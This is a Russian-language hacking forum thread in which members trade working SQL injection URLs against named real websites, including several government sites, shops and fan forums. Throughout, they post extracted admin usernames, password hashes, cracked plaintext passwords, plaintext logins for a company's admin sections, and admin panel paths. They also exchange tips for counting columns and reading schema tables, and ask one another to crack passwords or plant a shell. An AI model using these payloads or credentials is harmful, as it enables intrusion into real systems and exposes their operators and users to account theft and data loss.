SQL Инъекции

http://director-online.com/buildArticle.php?id=1089'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30/*
до 30 дошел и забил... может я слепой =(

 

http://director-online.com/buildArticle.php?id=-1111+UNION+SELECT+1,2,3,4,5,6,7,8/*

Пропустил

.gov

Code:

http://www.sprk.gov.lv/index.php?id=-1111+UNION+SELECT+1,2,3,4,5,convert(VERSION()+using+latin1),7,8,9,10,11,12,13,14,15/*

 

Какой-то магазин

Если кто-то узнает пасс от админки прошу стукнуть мне в ацку.Логин админа ABridge

 

http://www.gamesfirst.com/index.php?id=1132'+UNION+SELECT+1,2,3,5,6,7,8,9/*
тут тоже наверное что-то есть...
и тут
http://www.dfalink.com/event.php?id=18354'+UNION+SELECT+1,2,3,4,5,6,7,8,9,10/*

 

a1ex

5:ABridge:9aac48d130bcb88c5f39065b4092a1d1

А вообще - это уже было, смотри http://hlamidnik.h18.ru/SQLS.html

Barney

- то же самое.

 

http://www.reusablebags.com/facts.php?id=4'
попытался, но как всегда что-то упускаю =))
зы
тут есть онлайн шоп, так что может что нить найдете интересного

 

boyan

Barney
Проверяй, пожалуйста, прежде чем публиковать - было или нет.
http://hlamidnik.h18.ru/SQLS.html
твоя ссылка там на 4х позициях )


-----cont
www.liverpoolfc.ru
1:Jari:034054de62d75ca7:jokerit

 

Centre for Social Research on Alcohol and Drugs

Code:

http://www.sorad.su.se/projects.php?Id=-1111+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12+from+admin/*

Что-то там больше ничего нет =)
_______________________________
Фух, хитрые гады, долго пытался шел залить не смог...
Если кто сможет отпишитесь и расскажите

Code:

http://www.resejournalen.se/destination.php?Id=-1111+UNION+SELECT+0x6e616d653a70617373776f7264,concat(username,0x3a,user_password),3,4,5,6,7,8,9,10,11,12+from+phpbb_users+where+user_id=2/*

Andreas:5bf39735e3e4966a31fa1f58d6a94a1d:Trustno0

Еще 1 таже ситуация

Code:

http://www.sko.miun.se/page.php?kategori=35&underkategori=-1111+UNION+SELECT+1,concat_ws(0x3a,username,user_password),3,4,5,6,7+from+phpbb_users/*

admin:ba952731f97fb058035aa399b1cb3d5c:karen

там 2 форума, 1 основной, 2 левый (http://www.sko.miun.se/phpBB2/) это пасс от левого, т.к. префикс главного не угадал! =)
__________________
Веб админы блин

Code:

http://webxadmin.free.fr/article.php?i=-1111+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12/*

 

Филлипинский парламент

Code:

http://www.congress.gov.ph/press/details.php?pressid=-1+union+select+1,concat(user(),0x81,version(),0x81,database()),3,4,5,6,7,8--

 

Очень интересно, смотрите сами:

Code:

http://www.188888.ru/download.php?file_id=-1+union+select+1/*
http://www.188888.ru/download.php?file_id=-1+union+select+1,2/*

Ну а тут все понятно

Code:

http://www.box-cd.com/p_magazin.php?tip=1+union+select+1,version()/*

 

sql-not_finished

Незавершенное:

Сайт: http://www.password.ru/ (Каталог cайтов c красивым названием)

http://password.ru/admin/admin.php

Сайт: http://www.fc-arsenal.com/ (ARSSC: Официальный фан-клуб "Арсенала" в России)

http://www.fc-arsenal.com/admin

Сайт: http://www.fcalania.ru/ (АЛАНСКИЕ БАРСЫ. Сайт болельщиков ФК АЛАНИЯ)

Готовое
----------------------------------------------------------------- вопросик
Сайт: http://www.shinnik.yar.ru/ (Официальный сайт ФК Шинник)
поглядим на версию и улыбнемся, так как она пятая)

смотрим таблицы через системную бд information_schema

и видим там таблицу nuke_users Но кавычки скринятся и не удается посмотреть названия полей в таблице -
http://www.shinnik.yar.ru/modules.php?op=modload&name=News&file=article&sid=-1160+union+select+1,column_name,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1+from+information_schema.columns+where+table_name='nuke_users'+limit+0,1/*
не проходит,
так вот вопрос - как это обойти, как изменить запрос, чтоб увидеть названия полей?

*админка недалеко, вперед и направо - http://www.shinnik.yar.ru/admin.php

upd. Скачал PostNuke, на котором построен сайт, посмотрел названия полей они все с префиксом pn_ так что
искомые поля - pn_uid,pn_uname,pn_pass,pn_email

2:admin:ff9830c42660c1dd1942844f8069b74a
Пароль админа очень многозначительный - root123

Вот, но вопрос в силе.

 

http://www.eurohs.eu.com/front-end/news-full.php?id=-1'
http://www.neurope.eu/view_news.php?id=71989'
(либо я пропустил, либо столбцов больше 20...)

 

cont

Barney
используй order by
http://www.neurope.eu/view_news.php?id=71989 order by 73/* и ранее ошибки нет
http://www.neurope.eu/view_news.php?id=71989 order by 74/* - ошибка, и, значит, полей 73.

нашел users(username,password,user_id)

 

Компания Берлин Хеми

http://www.berlin-chemie.de/admin
главный
login:administrator pass:jnkg2ew
отдельных разделов
inter la8z7eo
adm kjuhw2xy
jobs tw8fqx2
news x0el7ut

 

\\\от меня скуль\\\

Code:

http://www.technischerhandel.de/haendler/single.php?id=-1160+union+select+1,2,version(),4,database(),6,7,8,9,10,11,12,13,14,15,16+from+mysql.user/*

 

flydortmund.com

Code:

http://www.flydortmund.com/daten/in0_4.php?ALL_ID=-2+union+select+1,concat(user(),CHAR(58),VERSION()),3,4,5/*

www.nieuwsshow.nl

Code:

http://www.nieuwsshow.nl/PHP/all.php?all_ID=-1+UNION+SELECT+1,concat(user(),CHAR(58),VERSION()),3,4,5,6/*

 

EvoWeb

Code:

http://evonet.lri.fr/evoweb/news_events/news_features/article.php?id=-1111+UNION+SELECT+1,2,3,concat_ws(0x3a,user_name,user_password,user_email),5,6,7,8,9,10,11,12+from+user+limit+0,1/*

лимитом крутить можно

_______________________

The Lesbian & Gay Foundation

Code:

http://www.lgf.org.uk/lgf_category.php?ID=-1111+UNION+SELECT+1,concat_ws(0x3a,username,password),3,4+from+users/*

adminrangecat172006

 

www.maineservicecommission.gov​

Code:

http://www.maineservicecommission.gov/news/release.php?ID=-252+union+select+1,2,user(),version(),database(),6,7,8,9,10,11,12/*

таблицы: admin, news, user
админ панель: www.maineservicecommission.gov/hub/login.php

www.psat.wa.gov ​

Code:

http://www.psat.wa.gov/Publications/news_stories/hoodcanal_news_story.php?id=-131+union+select+1,2,3,4,convert(concat(user(),char(58),version(),char(58),database())+using+latin1),6,7,8+user/*

www.cherp.research.med.va.gov ​

Code:

http://www.cherp.research.med.va.gov/pr_read.php?id=-75+union+select+user(),2,version(),4,database(),6/*

таблицы: tbl_personnel, tbl_press_releases

www.y12.doe.gov ​

Code:

http://www.y12.doe.gov/news/release.php?id=-38+union+select+1,password,3,4,database(),6,version(),user(),user,10+from+mysql.user/*

www.serti.ru ​

Code:

http://www.serti.ru/pages.php?id=-2768+union+select+1,2,concat(user,0x3a,pass)+from+admin/*

dexm:dexmmm

 

http://una.ge/eng/artdetail.php?group=articles&id=102%20UNION%20SELECT%201,2,concat(loginname,0x3a,password),4,5,6,7,8,9%20from%20phplist_admin%20limit%201,1/*
или так

http://una.ge/eng/artdetail.php?group=articles&id=102%20UNION%20SELECT%201,2,concat(name,0x3a,passwd),4,5,6,7,8,9%20from%20user%20limit%201,1/*

вот еще

http://rustavi2.com/news/news_text.php?id_news=20582%20UNION%20SELECT%201,2,3,4,5,usrname,pass,8,9,10,11,12%20from%20users_p%20limit%201,1/*

 

parametrix.ru

nataliearametrarametrix.ru
roma:romaarametrix.ru
parametrix:5086164

www.mc.uky.edu

1:tasize0:test1
2:bloft2:cpst1admin

админки не нашел \=